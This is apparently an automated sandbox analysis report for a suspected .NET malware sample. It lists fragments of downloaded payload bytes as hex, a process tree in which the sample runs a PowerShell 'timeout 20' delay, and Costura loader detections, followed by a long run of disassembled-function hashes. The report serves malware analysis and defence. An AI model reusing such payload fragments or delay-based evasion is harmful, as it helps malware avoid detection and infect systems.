2022-02-01 01:06:35 UTC	513	IN	Data Raw: 73 06 00 00 fe 06 fe 14 04 00 01 79 7b 02 06 00 05 5c 28 00 12 0a 04 00 01 79 7b 02 25 0a 00 01 48 6f 06 00 01 c8 73 06 00 02 39 73 06 00 00 c1 06 fe 14 04 00 01 0f 7b 02 06 00 05 5c 28 00 12 0a 04 00 01 0f 7b 02 25 0a 00 01 48 6f 06 00 01 c8 73 06 00 02 39 73 06 00 01 93 06 fe 14 04 00 01 5e 7b 02 06 00 05 5c 28 00 12 0a 04 00 01 5e 7b 02 25 0a 00 01 48 6f 06 00 01 c8 73 06 00 02 39 73 06 00 01 6a 06 fe 14 04 00 01 a8 7b 02 06 00 05 5c 28 00 12 0a 04 00 01 a8 7b 02 25 0a 00 01 48 6f 06 00 01 c8 73 06 00 02 39 73 06 00 01 c1 06 fe 14 04 00 01 3b 7b 02 06 00 05 5c 28 00 12 0a 04 00 01 3b 7b 02 25 0a 00 01 48 6f 06 00 01 c8 73 06 00 02 39 73 06 00 01 87 06 fe 14 04 00 01 85 7b 02 06 00 05 5c 28 00 12 0a 04 00 01 85 7b 02 25 0a 00 01 48 6f 06 00 01 c8 73 06 Data Ascii: sy{\(y{%Hos9s{\({%Hos9s^{\(^{%Hos9sj{\({%Hos9s;{\(;{%Hos9s{\({%Hos
2022-02-01 01:06:35 UTC	529	IN	Data Raw: 06 00 01 2e 6f 06 00 04 5f 73 17 01 2b 16 ee 2b 0b e7 2b 0a 06 2b 0b 2d 06 00 01 89 28 06 07 02 26 10 2c 16 06 00 00 f7 6f 02 26 17 2d 1b 06 00 00 f7 6f 02 11 00 00 0e 00 00 00 35 00 0b 30 13 2a e9 2b 26 e6 2b 26 06 2b 06 00 01 06 6f 06 00 05 9b 6f 02 00 00 cf 74 26 15 2d 1a 1d 03 26 18 2d 1d 1e 02 00 00 00 00 00 00 00 24 00 0a 30 03 00 00 00 00 07 00 65 4b 00 1a 00 02 00 00 10 01 00 2a 06 06 00 00 74 28 06 02 00 00 00 07 39 04 dc 0a 00 00 30 28 07 07 de 0a 00 00 bc 6f 06 03 04 00 00 47 7e 0c 2c 08 0a 06 00 01 70 28 04 02 12 09 03 02 0d 06 00 01 6f 28 03 02 2c de 0a 01 00 00 d4 74 04 11 0a 2c 0a 00 00 ba 6f 04 12 03 04 00 00 47 7e f8 2b 0c 03 2b 1e 2c 08 26 06 2d 1e 17 00 2b 0a 00 00 2d 28 f6 2b 0b 0a 2b 26 06 2d 1b 07 26 08 2d 1d 04 00 00 47 7e 11 00 00 Data Ascii: .o_s++++-(&,o&-o50+&+&+oot&-&-$0eKt(90(oG~,p(o(,t,oG~++,&-+-(++&-&-G~
2022-02-01 01:06:35 UTC	545	IN	Data Raw: 26 15 2d 19 1a 03 26 18 2d 17 15 02 00 00 00 00 00 00 00 24 00 0a 30 03 00 00 2a f5 2b 26 03 2b 06 00 01 09 6f 17 26 09 2d 1d 16 02 00 00 00 00 00 00 00 12 00 0a 30 03 00 00 2a f1 2b 26 03 2b 06 00 01 2e 6f 06 00 06 20 73 26 0d 2d 1a 15 02 00 00 00 00 00 00 00 16 00 0a 30 03 00 2a f4 2b 26 03 2b 06 00 01 02 6f 16 16 26 0a 2d 1b 17 02 00 00 00 00 00 00 00 13 00 0a 30 03 00 2a ec 2b 26 03 2b 06 00 00 99 6f 0a 00 00 62 28 01 00 00 d7 d0 26 12 2d 1c 1d 02 00 00 00 00 00 00 00 1b 00 0a 30 03 00 2a ec 2b 26 03 2b 06 00 00 99 6f 0a 00 00 62 28 01 00 00 ae d0 26 12 2d 18 1a 02 00 00 00 00 00 00 00 1b 00 0a 30 03 00 2a ea 2b 0b e3 2b 0a 06 2b 06 00 01 2e 6f 06 00 01 46 6f 06 07 02 02 26 14 2d 1b 06 00 00 f7 6f 02 26 1b 2d 1d 06 00 00 f7 6f 02 11 00 00 0e 00 00 00 Data Ascii: &-&-$0+&+o&-0+&+.o s&-0+&+o&-0+&+ob(&-0+&+ob(&-0+++.oFo&-o&-o
2022-02-01 01:06:35 UTC	561	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 08 c0 00 00 00 02 00 00 09 00 00 00 00 00 0c 00 00 63 6f 6c 65 72 2e 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 08 bc 00 00 00 04 00 00 08 e0 00 00 00 03 54 00 00 00 63 72 73 72 2e 60 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 08 ba 00 00 00 20 00 00 08 b9 c8 00 00 00 74 78 65 74 2e 00 00 00 00 00 00 00 00 00 00 00 48 00 00 20 08 00 00 00 00 00 00 00 00 00 00 00 08 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 54 00 08 e0 00 00 00 00 57 00 08 d9 Data Ascii: B@coler.@@Tcrsr.` txet.H TW

Target ID:	0
Start time:	02:05:03
Start date:	01/02/2022
Path:	C:\Users\user\Desktop\2lfV6QiE6j.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2lfV6QiE6j.exe"
Imagebase:	0x3b0000
File size:	9728 bytes
MD5 hash:	00E84B6FA4BC44283827FDFED408ACB2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.630697936.0000000002899000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.631911611.0000000005AA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	02:05:05
Start date:	01/02/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c timeout 20
Imagebase:	0xd30000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	02:05:06
Start date:	01/02/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	13
Start time:	02:06:00
Start date:	01/02/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout 20
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	15
Start time:	02:06:01
Start date:	01/02/2022
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 20
Imagebase:	0xf0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Function 05B0B3E8 Relevance: 2.4, Strings: 1, Instructions: 1196COMMON

Download Yara Rule

Strings

4, xrefs: 05B0BDDA

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 2a3cb7838ba60656ef1ebd58a6c79ff8b1fc66b7780e929f52a63d85e8e45810
Instruction ID: b5690de7e890be9d57553d4d227ffdd1aa1ea95aa13fd85b385330f005db7bb5
Opcode Fuzzy Hash: 2a3cb7838ba60656ef1ebd58a6c79ff8b1fc66b7780e929f52a63d85e8e45810
Instruction Fuzzy Hash: 4DB2F934A002188FDB64DFA4C994BADBBB6FF88300F158595E506AB3A5DB34ED85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B0B718 Relevance: 1.8, Strings: 1, Instructions: 507COMMON

Download Yara Rule

Strings

4, xrefs: 05B0BDDA

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 260ffe7295740b3fe743cb470c1b64f6c5cc8164b3d05333d4a454ca432ed704
Instruction ID: cfa1f4ca77d6afbcc25be5b5660b094e99de67b6f921980d99a27c9fb031a3a3
Opcode Fuzzy Hash: 260ffe7295740b3fe743cb470c1b64f6c5cc8164b3d05333d4a454ca432ed704
Instruction Fuzzy Hash: 1A32E634A002188FDB24DFA4C994BADBBB6FF48304F1495E5D50AAB2A5DB34ED85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B076F0 Relevance: 1.7, Strings: 1, Instructions: 419COMMON

Download Yara Rule

Strings

y, xrefs: 05B07744

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID: y
API String ID: 0-4225443349
Opcode ID: e0d211c5d790fb2d829acd6713faf3c5ac8d0afc98f2d149cfb25845419490b8
Instruction ID: aa8eb0d6a4453f83f42bf33c919505c032e860ba55625666218ee068f1f18c26
Opcode Fuzzy Hash: e0d211c5d790fb2d829acd6713faf3c5ac8d0afc98f2d149cfb25845419490b8
Instruction Fuzzy Hash: E1F1E931B082959FCB15CB59C89057DFFB3EF85204B18C9DAD0AA8B693CA35F942C791

Uniqueness

Uniqueness Score: -1.00%

Function 05A21390 Relevance: 1.5, Strings: 1, Instructions: 282COMMON

Download Yara Rule

Strings

, xrefs: 05A2162A

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: a23d6ed86801f38364d373797584a7a82ca505c4c402ef307c8da2494d9e2fc7
Instruction ID: 0ca406ef9cd3cfff30bf1bfcda81c58a6c3402ca75ec6f9224cea041937dc881
Opcode Fuzzy Hash: a23d6ed86801f38364d373797584a7a82ca505c4c402ef307c8da2494d9e2fc7
Instruction Fuzzy Hash: 6F91E371F041648FCB10DB6DC8818EEB7B3EBC5218B29C5BAC62ADB605D631E907C791

Uniqueness

Uniqueness Score: -1.00%

Function 05B0DFEF Relevance: .6, Instructions: 550COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3c79b819d14c0ac28b0d29d86a7344b2e80100323573771a7f6c29ac06f5aea
Instruction ID: f3e326105893dfbf87a4258227b489573170f576576955bbb9be82891f848c9c
Opcode Fuzzy Hash: e3c79b819d14c0ac28b0d29d86a7344b2e80100323573771a7f6c29ac06f5aea
Instruction Fuzzy Hash: 9A226B35B002149FDB14DFA4D495AADBBB6FF88310F0484A9E906DB3A1DB75ED41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05B0E839 Relevance: .5, Instructions: 538COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 781c0d38dde557a41fe7e20a8234ba8e40f053b90172d6df3686963c2df16cb7
Instruction ID: d78f2ef24d103aa2fbf273237e7495bb837a18a14964f2284d4fa48ff0833b9a
Opcode Fuzzy Hash: 781c0d38dde557a41fe7e20a8234ba8e40f053b90172d6df3686963c2df16cb7
Instruction Fuzzy Hash: 3C224B347002048FDB14DF69C994A6ABBFAFF89704B1598A9D906DB3B5EB31EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05A20ED8 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75794156186d5de804cf3dfcffb9dd107c24a7fc56353397fc953807d247549e
Instruction ID: 52cf0da566352a85de06e3c57e849b6bd18f63372fe5a3a84481d4b1ff28e9ad
Opcode Fuzzy Hash: 75794156186d5de804cf3dfcffb9dd107c24a7fc56353397fc953807d247549e
Instruction Fuzzy Hash: C4917832B141249BDB14EB6DC885EAEB3E3BFC8714F1A8469E4169B765DB349C01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05B0FAC0 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88ddc0aaf0ab914b1e8e568f5cf51420220c947bdd4fd1098745166376a1e7ef
Instruction ID: 1456053af4ac04db94c8dbe1ea4fcde82079250ce18c039a3d6bedb1bbcf37c2
Opcode Fuzzy Hash: 88ddc0aaf0ab914b1e8e568f5cf51420220c947bdd4fd1098745166376a1e7ef
Instruction Fuzzy Hash: 6A81EA35B006148FCB24DFA5C5949AEBBFAFF88614B1585A5E8169B360DB30FD42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05A20F9A Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e92fe320503798046f608be9439911b5906b9468768798197c2fbc5bea9974
Instruction ID: 5087b16d724b08c5cc3a8cff1ee452baaa29ad8f7bee486487042caa8e0b8f3e
Opcode Fuzzy Hash: 52e92fe320503798046f608be9439911b5906b9468768798197c2fbc5bea9974
Instruction Fuzzy Hash: C9614832F201649BD714DB69CC84EAEB3E3AFC8614F1A8468E415AB759DB74AC01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05A20159 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5223a87a7b9816d01485812b32b625094867c89b6ffd92f38bc45dffc9d73080
Instruction ID: 850e24d725a1a1d265f0d234e87254e32f2355ba4ac6a26d7925e76117574260
Opcode Fuzzy Hash: 5223a87a7b9816d01485812b32b625094867c89b6ffd92f38bc45dffc9d73080
Instruction Fuzzy Hash: AB718935E002298BDB44CF79C894AADB7F2BF88305B14E56AD406EB364DB34AD01DF91

Uniqueness

Uniqueness Score: -1.00%

Function 05A27C7F Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

C, xrefs: 05A27DA2

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1059893716
Opcode ID: 47b5d3ddfe123567dfa179b9fe7611fcca085a55b7d3dfe14d94058ac71689e9
Instruction ID: 1795a99657382533a618053119bdf5f7e0c5ae6f80a096fdb9dd963f1cca9c73
Opcode Fuzzy Hash: 47b5d3ddfe123567dfa179b9fe7611fcca085a55b7d3dfe14d94058ac71689e9
Instruction Fuzzy Hash: 603155323041205FC715BB7DD4A1AAE7BA7DFC2A14704846ED51ACF341DF289E0B8B96

Uniqueness

Uniqueness Score: -1.00%

Function 05A2B8B0 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

2, xrefs: 05A2B959

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: d63dcb4b573d2fbfe6aed03855bfb3246f5ce04a013236be947dcb7060733c93
Instruction ID: 9d6438f1ba1aa7dbbafb2d3879bdd0407275a95b0cebe2f95d593e89e60954ef
Opcode Fuzzy Hash: d63dcb4b573d2fbfe6aed03855bfb3246f5ce04a013236be947dcb7060733c93
Instruction Fuzzy Hash: 2F314275A0411CEFDB04DF98E891DEEBB76FF49311F10806AE852A7350DB319915DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05B076E0 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

y, xrefs: 05B07744

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID: y
API String ID: 0-4225443349
Opcode ID: b7c22ee22ca3d688804a37498e805bd509ae8521db7ff3da076c823e5b9ac81d
Instruction ID: 13920c53eab3998e04628db1693f379a0faa52726e3d199fa31bf94f939f20f4
Opcode Fuzzy Hash: b7c22ee22ca3d688804a37498e805bd509ae8521db7ff3da076c823e5b9ac81d
Instruction Fuzzy Hash: C521E430E087459FCB34C7AA848467EFEA3EB42250F10969EC4765B7C1DA757901CB92

Uniqueness

Uniqueness Score: -1.00%

Function 05A25A18 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

h, xrefs: 05A25A94

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: 695a7ce6913f77c2047d1bfb625d927ee4a49a40d428aa33bfda8f3c6dd97f5a
Instruction ID: 65b446ed2d805e76b1ee99b45547e0e41fd2be5754a232f14476ba65ebf39ffb
Opcode Fuzzy Hash: 695a7ce6913f77c2047d1bfb625d927ee4a49a40d428aa33bfda8f3c6dd97f5a
Instruction Fuzzy Hash: 84F01D71E4D270EFD202D65DB4CBC75BBFBBE4A21470580E6D54A8F512D2329C468751

Uniqueness

Uniqueness Score: -1.00%

Function 05A27D58 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

C, xrefs: 05A27DA2

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1059893716
Opcode ID: c8120f6a9a16a2e398770f803919719c0081d4e9f61eaf259b6cb09ce04e3399
Instruction ID: c43d4a713e640d44b593c9ea7c9694d804f928a2106a44f4c7b76ffd01afbfc2
Opcode Fuzzy Hash: c8120f6a9a16a2e398770f803919719c0081d4e9f61eaf259b6cb09ce04e3399
Instruction Fuzzy Hash: 4EF0BB313002155B9A10BBAEE8D1D5FBBABDBD1A64350C47AD5198B705EF64ED018BE0

Uniqueness

Uniqueness Score: -1.00%

Function 05A2F1C8 Relevance: .9, Instructions: 892COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27106166db67ce7a84ca126cdd445c13a577ccdb122361f9014f74e5455a4319
Instruction ID: b3903a18729e4ab8de23cf2b42ca24904e25ba54ca7b7131e3561f6ee22b4a52
Opcode Fuzzy Hash: 27106166db67ce7a84ca126cdd445c13a577ccdb122361f9014f74e5455a4319
Instruction Fuzzy Hash: 6A82723A610514EFDB06DF98C989D69BBB2FF4D3147168098E6069F276C732E861EF40

Uniqueness

Uniqueness Score: -1.00%

Function 05A10708 Relevance: .6, Instructions: 604COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631871012.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: true

Associated: 00000000.00000002.631720237.0000000005980000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4d96e111de77c083f5aeefeb4334e982de36b7586f0a051f722931743e27a2d
Instruction ID: 6be8b47ef1c365f489c7f970b16cfc553b2ebce0c04ae8363e1f0449d338fd76
Opcode Fuzzy Hash: b4d96e111de77c083f5aeefeb4334e982de36b7586f0a051f722931743e27a2d
Instruction Fuzzy Hash: FB324D70E04264CFCB21CF698949BAD7AF6BF88700F04449AD85AEB341CB749AC5CF95

Uniqueness

Uniqueness Score: -1.00%

Function 05A2F1B0 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c8b86d020f62d3cc596f419e43aeb99961ddcb390be5f35d79b016c1399792a
Instruction ID: 0991b6cf249a8b95130211438470fa796ab901995855594fb3f6fd8dd28f3849
Opcode Fuzzy Hash: 3c8b86d020f62d3cc596f419e43aeb99961ddcb390be5f35d79b016c1399792a
Instruction Fuzzy Hash: 13329E7A600114EFDB09DF98C989D69BBB2FF49314B5680A8E6069B376C732EC51DF40

Uniqueness

Uniqueness Score: -1.00%

Function 05B0D420 Relevance: .5, Instructions: 525COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b543748abfe77d555e992c9c0dc1493051b711d87f2ea4a91417ac84a0da08c6
Instruction ID: 20f54658006384a4368ece528dc792c864235408d44c578f8210206cb15be931
Opcode Fuzzy Hash: b543748abfe77d555e992c9c0dc1493051b711d87f2ea4a91417ac84a0da08c6
Instruction Fuzzy Hash: C5225A34A002198FCB15DFA5D854AFDBBB2FF48301F149595E812AB2D5DB38EE46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05A2F271 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f80f93000d0f64e9053d691f5a5d1e4f2340f5ac80aa689e4a5870530f31c2d
Instruction ID: 50b6fa774f89dba0c9fefa3629bbfde3eda005548d0f66ad613d1c8619ea56b7
Opcode Fuzzy Hash: 9f80f93000d0f64e9053d691f5a5d1e4f2340f5ac80aa689e4a5870530f31c2d
Instruction Fuzzy Hash: 3122707A600514DFDB05DF98C989D59BBB2FF4C314B5680A8E6069B276C732EC51EF40

Uniqueness

Uniqueness Score: -1.00%

Function 05B0F105 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1b0b5b8263769b1216cbceef6db2f52a624196ff80397bfc8f7f20ef827127
Instruction ID: 6427424b37e81048b363779088d6f33bec10814988cccd8f3fc9d62e157a67d1
Opcode Fuzzy Hash: da1b0b5b8263769b1216cbceef6db2f52a624196ff80397bfc8f7f20ef827127
Instruction Fuzzy Hash: 0FF1C2343142418FCB54AFB8D8902BD7AA7EFC4204B149579E80ADF7D5DF68EC4687A2

Uniqueness

Uniqueness Score: -1.00%

Function 05A28F48 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab60639a2b4e0f0cefbb3dbc2aae8f85a6344adeac3ffa513450ca0d9bdd46b4
Instruction ID: 697651d1413583f2d883c58b340a2fbfc6b2adc01553910966832bebbebbaf41
Opcode Fuzzy Hash: ab60639a2b4e0f0cefbb3dbc2aae8f85a6344adeac3ffa513450ca0d9bdd46b4
Instruction Fuzzy Hash: 38026A30A04264CFCB14DBA8C555AAEB7F2FF89700F21806AE5169F3A5DB35EC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 05A288A0 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5684308f7d28076148d49fa7d471660ff797afee831dc5e435a81dd256df6e
Instruction ID: 9193e40da279c8b179ca7dfc629b2c5138f3080db3a64ff6fceefc659287c7d9
Opcode Fuzzy Hash: bf5684308f7d28076148d49fa7d471660ff797afee831dc5e435a81dd256df6e
Instruction Fuzzy Hash: EEF17171B043258FDB55DF78C855BADB7B2BF89200F1488AAD00AAB341DF399D468F91

Uniqueness

Uniqueness Score: -1.00%

Function 05B01B40 Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631982709.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b00000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11e83218e68081aa52626baaaab755c3303b4d7130188c45fd9afe1ea7d04eff
Instruction ID: 318ae4170d54db7f62b747ae844fc94d827d2066238d7ce62bf1b4d02b0b633b
Opcode Fuzzy Hash: 11e83218e68081aa52626baaaab755c3303b4d7130188c45fd9afe1ea7d04eff
Instruction Fuzzy Hash: 78F10675A0060AEFCB05CF98C8808AEBBB2FF59310F248599E945A7361D731ED55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 05A2D8B8 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.631892722.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a20000_2lfV6QiE6j.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83ca9b08e46a115940e083b5bda21d0028c253b8caba8981b50aa3622fb352f8
